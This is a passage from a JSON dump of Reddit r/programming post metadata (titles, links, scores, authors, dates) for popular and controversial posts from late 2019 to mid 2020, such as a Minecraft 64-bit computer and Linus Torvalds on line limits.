    "url": "https://www.adobe.com/products/flashplayer/end-of-life.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_gwijha",
  "url": "https://www.youtube.com/watch?v=A_EStNvK2MQ",
  "permalink": "https://www.reddit.com/r/programming/comments/gwijha/i_created_the_first_64bit_computer_in_minecraft/",
  "title": "I created the first 64-bit computer in minecraft, along with an assembly-ide to program it",
  "body": null,
  "author": "rockfarmor",
  "subreddit": "programming",
  "score": 4887,
  "upvoteRatio": 0.95,
  "numComments": 255,
  "createdAt": "2020-06-04T14:31:20.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=A_EStNvK2MQ",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_gvsfpq",
  "url": "https://www.twitch.tv/twitchdrivesatv",
  "permalink": "https://www.reddit.com/r/programming/comments/gvsfpq/i_got_quarantine_bored_and_built_a_robot_that_you/",
  "title": "I got quarantine bored and built a robot that you can democratically drive on the internet in my backyard.",
  "body": null,
  "author": "omantn",
  "subreddit": "programming",
  "score": 3773,
  "upvoteRatio": 0.96,
  "numComments": 148,
  "createdAt": "2020-06-03T11:43:27.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.twitch.tv/twitchdrivesatv",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_gt4wgn",
  "url": "https://lkml.org/lkml/2020/5/29/1038",
  "permalink": "https://www.reddit.com/r/programming/comments/gt4wgn/linus_torvalds_on_80character_line_limit/",
  "title": "Linus Torvalds on 80-character line limit",
  "body": null,
  "author": "alexeiz",
  "subreddit": "programming",
  "score": 3599,
  "upvoteRatio": 0.96,
  "numComments": 1088,
  "createdAt": "2020-05-30T00:45:29.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://lkml.org/lkml/2020/5/29/1038",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_gpbthh",
  "url": "https://www.zdnet.com/article/chrome-70-of-all-security-bugs-are-memory-safety-issues/",
  "permalink": "https://www.reddit.com/r/programming/comments/gpbthh/chrome_70_of_all_security_bugs_are_memory_safety/",
  "title": "Chrome: 70% of all security bugs are memory safety issues",
  "body": null,
  "author": "techempower",
  "subreddit": "programming",
  "score": 3052,
  "upvoteRatio": 0.96,
  "numComments": 697,
  "createdAt": "2020-05-23T20:17:27.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.zdnet.com/article/chrome-70-of-all-security-bugs-are-memory-safety-issues/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_gmqv6n",
  "url": "https://devblogs.microsoft.com/commandline/windows-package-manager-preview/?WT.mc_id=ITOPSTALK-reddit-abartolo",
  "permalink": "https://www.reddit.com/r/programming/comments/gmqv6n/microsoft_announces_the_windows_package_manager/",
  "title": "Microsoft announces the Windows Package Manager Preview",
  "body": null,
  "author": "Wireless_Life",
  "subreddit": "programming",
  "score": 4652,
  "upvoteRatio": 0.95,
  "numComments": 640,
  "createdAt": "2020-05-19T15:36:22.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://devblogs.microsoft.com/commandline/windows-package-manager-preview/?WT.mc_id=ITOPSTALK-reddit-abartolo",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_ghto13",
  "url": "https://saagarjha.com/blog/2020/05/10/why-we-at-famous-company-switched-to-hyped-technology/",
  "permalink": "https://www.reddit.com/r/programming/comments/ghto13/why_we_at_famous_company_switched_to_hyped/",
  "title": "Why we at $FAMOUS_COMPANY Switched to $HYPED_TECHNOLOGY",
  "body": null,
  "author": "swizec",
  "subreddit": "programming",
  "score": 6201,
  "upvoteRatio": 0.96,
  "numComments": 676,
  "createdAt": "2020-05-11T18:45:29.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://saagarjha.com/blog/2020/05/10/why-we-at-famous-company-switched-to-hyped-technology/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_gel0ed",
  "url": "https://techcrunch.com/2020/05/06/no-cookie-consent-walls-and-no-scrolling-isnt-consent-says-eu-data-protection-body/",
  "permalink": "https://www.reddit.com/r/programming/comments/gel0ed/no_cookie_consent_walls_and_no_scrolling_isnt/",
  "title": "No cookie consent walls — and no, scrolling isn’t consent, says EU data protection body",
  "body": null,
  "author": "PowerOfLove1985",
  "subreddit": "programming",
  "score": 6026,
  "upvoteRatio": 0.98,
  "numComments": 857,
  "createdAt": "2020-05-06T14:27:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://techcrunch.com/2020/05/06/no-cookie-consent-walls-and-no-scrolling-isnt-consent-says-eu-data-protection-body/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_gc4bso",
  "url": "https://twitter.com/shanselman/status/1256500795719036928?s=19",
  "permalink": "https://www.reddit.com/r/programming/comments/gc4bso/scott_hanselmann_dont_feel_you_need_to_work_more/",
  "title": "Scott Hanselmann: \"Don’t feel you need to work more than 8 hours a day. Or 6. Don’t make code your hobby UNLESS YOU WANT TO\"",
  "body": null,
  "author": "jimmyayo",
  "subreddit": "programming",
  "score": 3241,
  "upvoteRatio": 0.96,
  "numComments": 458,
  "createdAt": "2020-05-02T10:34:06.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://twitter.com/shanselman/status/1256500795719036928?s=19",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_ga7ae4",
  "url": "https://github.com/aatwo/TheWiggler",
  "permalink": "https://www.reddit.com/r/programming/comments/ga7ae4/during_lockdown_my_wife_has_been_suffering/",
  "title": "During lockdown my wife has been suffering mentally from pressure to stay at her desk 100% of the time otherwise after a few minutes her laptop locks and she is recorded as inactive. I wrote this small app to help her escape her desk by periodically moving the cursor. Hopefully it can help others.",
  "body": null,
  "author": "silitbang6000",
  "subreddit": "programming",
  "score": 7331,
  "upvoteRatio": 0.95,
  "numComments": 808,
  "createdAt": "2020-04-29T10:53:25.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/aatwo/TheWiggler",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_ga2cbf",
  "url": "https://developers.google.com/speed/pagespeed/insights/?url=reddit.com%2Fr%2Fprogramming",
  "permalink": "https://www.reddit.com/r/programming/comments/ga2cbf/in_2020_it_takes_reddit_8_seconds_to_load/",
  "title": "In 2020 it takes reddit 8 seconds to load r/programming",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 3829,
  "upvoteRatio": 0.96,
  "numComments": 860,
  "createdAt": "2020-04-29T03:55:15.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://developers.google.com/speed/pagespeed/insights/?url=reddit.com%2Fr%2Fprogramming",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_g7xweu",
  "url": "https://github.com/then/is-promise/issues/13",
  "permalink": "https://www.reddit.com/r/programming/comments/g7xweu/another_1liner_npm_package_broke_the_js_ecosystem/",
  "title": "Another 1-liner npm package broke the JS ecosystem",
  "body": null,
  "author": "crashandburn",
  "subreddit": "programming",
  "score": 3271,
  "upvoteRatio": 0.96,
  "numComments": 840,
  "createdAt": "2020-04-25T17:52:42.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/then/is-promise/issues/13",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_g4r3mv",
  "url": "https://news.ycombinator.com/item?id=22918980",
  "permalink": "https://www.reddit.com/r/programming/comments/g4r3mv/im_a_software_engineer_going_blind_how_should_i/",
  "title": "I'm a software engineer going blind, how should I prepare?",
  "body": null,
  "author": "pimterry",
  "subreddit": "programming",
  "score": 4272,
  "upvoteRatio": 0.97,
  "numComments": 334,
  "createdAt": "2020-04-20T11:29:23.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://news.ycombinator.com/item?id=22918980",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_g320e2",
  "url": "https://youtu.be/vtN4tkvcBMA",
  "permalink": "https://www.reddit.com/r/programming/comments/g320e2/i_wrote_a_program_to_compute_a_backboard_that/",
  "title": "I wrote a program to compute a backboard that maximizes the shots that go in. Then I built it and it works!",
  "body": null,
  "author": "swighton",
  "subreddit": "programming",
  "score": 3080,
  "upvoteRatio": 0.97,
  "numComments": 177,
  "createdAt": "2020-04-17T13:29:07.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/vtN4tkvcBMA",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_g1sxgs",
  "url": "https://community.atlassian.com/t5/Trello-questions/Personal-gmail-account-claimed-by-SSO-can-t-login-anymore/qaq-p/1293750",
  "permalink": "https://www.reddit.com/r/programming/comments/g1sxgs/trello_handed_over_users_personal_account_to/",
  "title": "Trello handed over user's personal account to user's previous company",
  "body": null,
  "author": "magenta_placenta",
  "subreddit": "programming",
  "score": 2963,
  "upvoteRatio": 0.96,
  "numComments": 477,
  "createdAt": "2020-04-15T14:27:02.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://community.atlassian.com/t5/Trello-questions/Personal-gmail-account-claimed-by-SSO-can-t-login-anymore/qaq-p/1293750",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_fw0vtk",
  "url": "https://www.youtube.com/watch?v=BxV14h0kFs0",
  "permalink": "https://www.reddit.com/r/programming/comments/fw0vtk/this_video_has_164608_views_tom_scott_on_web_apis/",
  "title": "This Video Has 164,608 Views (Tom Scott on web APIs)",
  "body": null,
  "author": "DeafStudiesStudent",
  "subreddit": "programming",
  "score": 3649,
  "upvoteRatio": 0.94,
  "numComments": 308,
  "createdAt": "2020-04-06T15:37:59.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=BxV14h0kFs0",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_fv5vy7",
  "url": "https://josephsteinberg.com/covid-19-response-new-jersey-urgently-needs-cobol-programmers-yes-you-read-that-correctly/",
  "permalink": "https://www.reddit.com/r/programming/comments/fv5vy7/covid19_response_new_jersey_urgently_needs_cobol/",
  "title": "COVID-19 Response: New Jersey Urgently Needs COBOL Programmers (Yes, You Read That Correctly)",
  "body": null,
  "author": "savuporo",
  "subreddit": "programming",
  "score": 3393,
  "upvoteRatio": 0.98,
  "numComments": 787,
  "createdAt": "2020-04-05T02:00:48.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://josephsteinberg.com/covid-19-response-new-jersey-urgently-needs-cobol-programmers-yes-you-read-that-correctly/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_futozl",
  "url": "https://fullstackopen.com/en/",
  "permalink": "https://www.reddit.com/r/programming/comments/futozl/university_of_helsinki_offers_a_world_class/",
  "title": "University of Helsinki offers a world class course on modern full stack development for free",
  "body": null,
  "author": "ezcoo_",
  "subreddit": "programming",
  "score": 4407,
  "upvoteRatio": 0.98,
  "numComments": 279,
  "createdAt": "2020-04-04T13:26:43.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://fullstackopen.com/en/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_ft3ai3",
  "url": "https://twitter.com/c1truz_/status/1244737672930824193",
  "permalink": "https://www.reddit.com/r/programming/comments/ft3ai3/zoom_uses_preinstallation_script_to_install/",
  "title": "Zoom uses pre-installation script to install without user clicking “Install” button",
  "body": null,
  "author": "RobertVandenberg",
  "subreddit": "programming",
  "score": 4020,
  "upvoteRatio": 0.97,
  "numComments": 471,
  "createdAt": "2020-04-01T16:43:06.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://twitter.com/c1truz_/status/1244737672930824193",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_fo0k3a",
  "url": "https://www.zdnet.com/article/an-insecure-mess-how-flawed-javascript-is-turning-web-into-a-hackers-playground/",
  "permalink": "https://www.reddit.com/r/programming/comments/fo0k3a/an_insecure_mess_how_flawed_javascript_is_turning/",
  "title": "An Insecure Mess: How Flawed JavaScript is Turning Web Into a Hacker's Playground",
  "body": null,
  "author": "sajjadium",
  "subreddit": "programming",
  "score": 5,
  "upvoteRatio": 0.51,
  "numComments": 31,
  "createdAt": "2020-03-24T06:49:26.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.zdnet.com/article/an-insecure-mess-how-flawed-javascript-is-turning-web-into-a-hackers-playground/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_fjk9lq",
  "url": "https://news.bitcoin.com/us-ban-encryption/",
  "permalink": "https://www.reddit.com/r/programming/comments/fjk9lq/us_politicians_want_to_ban_endtoend_encryption/",
  "title": "US Politicians Want to Ban End-to-End Encryption",
  "body": null,
  "author": "CarrotRobber",
  "subreddit": "programming",
  "score": 9576,
  "upvoteRatio": 0.98,
  "numComments": 512,
  "createdAt": "2020-03-16T12:36:28.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://news.bitcoin.com/us-ban-encryption/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_fem3g2",
  "url": "https://github.com/natethegreate/hentAI",
  "permalink": "https://www.reddit.com/r/programming/comments/fem3g2/hentai_detecting_and_removing_censors_with_deep/",
  "title": "hentAI: Detecting and removing censors with Deep Learning and Image Segmentation",
  "body": null,
  "author": "7cmStrangler",
  "subreddit": "programming",
  "score": 9960,
  "upvoteRatio": 0.96,
  "numComments": 382,
  "createdAt": "2020-03-06T23:12:08.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/natethegreate/hentAI",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_fca10w",
  "url": "https://www.youtube.com/watch?v=FZoLXYKv3dE",
  "permalink": "https://www.reddit.com/r/programming/comments/fca10w/most_asked_programming_languages_on_stackoverflow/",
  "title": "Most Asked Programming Languages On StackOverflow 2008 - 2020",
  "body": null,
  "author": "Griffin_D",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 29,
  "createdAt": "2020-03-02T10:13:05.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=FZoLXYKv3dE",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_f630mg",
  "url": "https://github.com/chrislgarry/Apollo-11",
  "permalink": "https://www.reddit.com/r/programming/comments/f630mg/the_entire_apollo_11_computer_code_that_helped/",
  "title": "The entire Apollo 11 computer code that helped get us to the Moon is available on github.",
  "body": null,
  "author": "whackri",
  "subreddit": "programming",
  "score": 3848,
  "upvoteRatio": 0.93,
  "numComments": 426,
  "createdAt": "2020-02-19T01:43:06.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/chrislgarry/Apollo-11",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_f5powk",
  "url": "https://twitter.com/Foone/status/1229641258370355200",
  "permalink": "https://www.reddit.com/r/programming/comments/f5powk/docker_for_windows_wont_run_if_razer_synapse/",
  "title": "Docker for Windows won't run if Razer Synapse driver management tool is running",
  "body": null,
  "author": "eggnoggman",
  "subreddit": "programming",
  "score": 3234,
  "upvoteRatio": 0.97,
  "numComments": 409,
  "createdAt": "2020-02-18T10:16:16.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://twitter.com/Foone/status/1229641258370355200",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_f5nf8z",
  "url": "https://medium.com/@sarahc0nn0r/block-chains-vs-block-pools-building-a-decentralized-marketplace-and-social-network-a20cd98befc9",
  "permalink": "https://www.reddit.com/r/programming/comments/f5nf8z/block_chains_vs_block_pools_a_new_technology_that/",
  "title": "“Block Chains” vs “Block Pools”: A New Technology That Can Power a Decentralized Marketplace and Social Network",
  "body": null,
  "author": "PrismiBaN",
  "subreddit": "programming",
  "score": 2,
  "upvoteRatio": 0.51,
  "numComments": 9,
  "createdAt": "2020-02-18T06:25:14.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@sarahc0nn0r/block-chains-vs-block-pools-building-a-decentralized-marketplace-and-social-network-a20cd98befc9",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_f1tuwo",
  "url": "https://youtu.be/sfXn_ecH5Rw",
  "permalink": "https://www.reddit.com/r/programming/comments/f1tuwo/copyright_implications_of_brute_forcing_all/",
  "title": "Copyright implications of brute forcing all 12-tone major melodies in approximately 2.5 TB.",
  "body": null,
  "author": "QuickBASIC",
  "subreddit": "programming",
  "score": 3817,
  "upvoteRatio": 0.97,
  "numComments": 476,
  "createdAt": "2020-02-10T17:46:00.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/sfXn_ecH5Rw",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_es3005",
  "url": "https://github.com/saintmarina/undelete_jpg",
  "permalink": "https://www.reddit.com/r/programming/comments/es3005/i_just_finished_my_first_project_in_c_the_program/",
  "title": "I just finished my first project in C. The program is called undelete_jpg . It allows to recover deleted images from SD cards and hard drives. It usually process data as fast as the SD card can transfer, but can go up to 10GB/s when data is cached. Check it out and let me know what you think.",
  "body": null,
  "author": "saint_marina",
  "subreddit": "programming",
  "score": 3155,
  "upvoteRatio": 0.94,
  "numComments": 415,
  "createdAt": "2020-01-21T23:20:28.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/saintmarina/undelete_jpg",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_elvxni",
  "url": "https://github.com/hakluke/how-to-exit-vim/blob/master/README.md",
  "permalink": "https://www.reddit.com/r/programming/comments/elvxni/how_to_exit_vim/",
  "title": "How to exit vim",
  "body": null,
  "author": "koi_baat_nahi",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 16,
  "createdAt": "2020-01-08T17:37:50.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/hakluke/how-to-exit-vim/blob/master/README.md",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_elrxr8",
  "url": "https://zeroequalsfalse.com/posts/it-is-ok-to-only-code-at-work/",
  "permalink": "https://www.reddit.com/r/programming/comments/elrxr8/it_is_perfectly_ok_to_only_code_at_work_you_can/",
  "title": "It is perfectly OK to only code at work, you can have a life too",
  "body": null,
  "author": "armagoei",
  "subreddit": "programming",
  "score": 4308,
  "upvoteRatio": 0.95,
  "numComments": 636,
  "createdAt": "2020-01-08T12:14:32.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://zeroequalsfalse.com/posts/it-is-ok-to-only-code-at-work/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_eewup3",
  "url": "https://www.youtube.com/watch?v=LsNW4FPHuZE",
  "permalink": "https://www.reddit.com/r/programming/comments/eewup3/learn_unreal_engine_with_c_full_course_for/",
  "title": "Learn Unreal Engine (with C++) - Full Course for Beginners",
  "body": null,
  "author": "ConfidentMushroom",
  "subreddit": "programming",
  "score": 3344,
  "upvoteRatio": 0.97,
  "numComments": 129,
  "createdAt": "2019-12-24T05:26:58.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=LsNW4FPHuZE",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_edij12",
  "url": "https://omarabid.com/the-modern-web",
  "permalink": "https://www.reddit.com/r/programming/comments/edij12/the_modern_web_is_becoming_an_unusable/",
  "title": "The modern web is becoming an unusable, user-hostile wasteland",
  "body": null,
  "author": "omarous",
  "subreddit": "programming",
  "score": 4787,
  "upvoteRatio": 0.96,
  "numComments": 770,
  "createdAt": "2019-12-21T00:24:17.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://omarabid.com/the-modern-web",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_eb9z4s",
  "url": "https://techvidvan.com/tutorials/python-game-project-tic-tac-toe/",
  "permalink": "https://www.reddit.com/r/programming/comments/eb9z4s/python_game_project_tic_tac_toe_coz_being_old/",
  "title": "Python Game Project Tic Tac Toe - 'Coz being old school is the new cool",
  "body": null,
  "author": "AnujG23",
  "subreddit": "programming",
  "score": 4,
  "upvoteRatio": 0.51,
  "numComments": 10,
  "createdAt": "2019-12-16T04:12:14.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://techvidvan.com/tutorials/python-game-project-tic-tac-toe/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_eai69c",
  "url": "https://www.nytimes.com/2019/12/13/technology/tony-brooker-dead.html",
  "permalink": "https://www.reddit.com/r/programming/comments/eai69c/tony_brooker_pioneer_of_computer_programming_dies/",
  "title": "Tony Brooker, Pioneer of Computer Programming, Dies at 94 | After meeting Alan Turing, Mr. Brooker went to work at the University of Manchester and wrote the programming language for the first commercial computer.",
  "body": null,
  "author": "anaxarchos",
  "subreddit": "programming",
  "score": 3150,
  "upvoteRatio": 0.98,
  "numComments": 67,
  "createdAt": "2019-12-14T10:24:13.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.nytimes.com/2019/12/13/technology/tony-brooker-dead.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_e63tm3",
  "url": "https://v.redd.it/8lc2lgakxn241",
  "permalink": "https://www.reddit.com/r/programming/comments/e63tm3/breadthfirst_search_visualization/",
  "title": "Breadth-first search visualization",
  "body": null,
  "author": "pedrovhb",
  "subreddit": "programming",
  "score": 3896,
  "upvoteRatio": 0.94,
  "numComments": 91,
  "createdAt": "2019-12-04T18:52:19.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "video",
    "url": "https://v.redd.it/8lc2lgakxn241/DASH_1080?source=fallback",
    "thumbnail": null,
    "isVideo": true,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_e55j0i",
  "url": "https://v.redd.it/9w7r2g1uba241",
  "permalink": "https://www.reddit.com/r/programming/comments/e55j0i/bubble_sort_visualization/",
  "title": "Bubble sort visualization",
  "body": null,
  "author": "pedrovhb",
  "subreddit": "programming",
  "score": 7428,
  "upvoteRatio": 0.94,
  "numComments": 268,
  "createdAt": "2019-12-02T21:06:36.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "video",
    "url": "https://v.redd.it/9w7r2g1uba241/DASH_1080?source=fallback",
    "thumbnail": null,
    "isVideo": true,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_e3tutg",
  "url": "https://www.youtube.com/watch?v=IK-Q3EcTnTA",
  "permalink": "https://www.reddit.com/r/programming/comments/e3tutg/turning_animations_to_60fps_using_ai/",
  "title": "Turning animations to 60fps using AI",
  "body": null,
  "author": "michalg82",
  "subreddit": "programming",
  "score": 3457,
  "upvoteRatio": 0.95,
  "numComments": 230,
  "createdAt": "2019-11-30T09:38:52.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=IK-Q3EcTnTA",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_dv3rko",
  "url": "https://threadreaderapp.com/thread/1194078100885164032.html",
  "permalink": "https://www.reddit.com/r/programming/comments/dv3rko/thread_by_jonathan_blow_because_so_many_people/",
  "title": "Thread by @Jonathan_Blow: \"Because so many people are confused when I say I don't like unit tests very much, I'll try to explain why. […]\"",
  "body": null,
  "author": "nupogodi",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 37,
  "createdAt": "2019-11-12T02:54:26.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://threadreaderapp.com/thread/1194078100885164032.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_dv0fxb",
  "url": "https://www.theregister.co.uk/2019/11/07/python_java_github_javascript/",
  "permalink": "https://www.reddit.com/r/programming/comments/dv0fxb/python_overtakes_java_to_become_secondmost/",
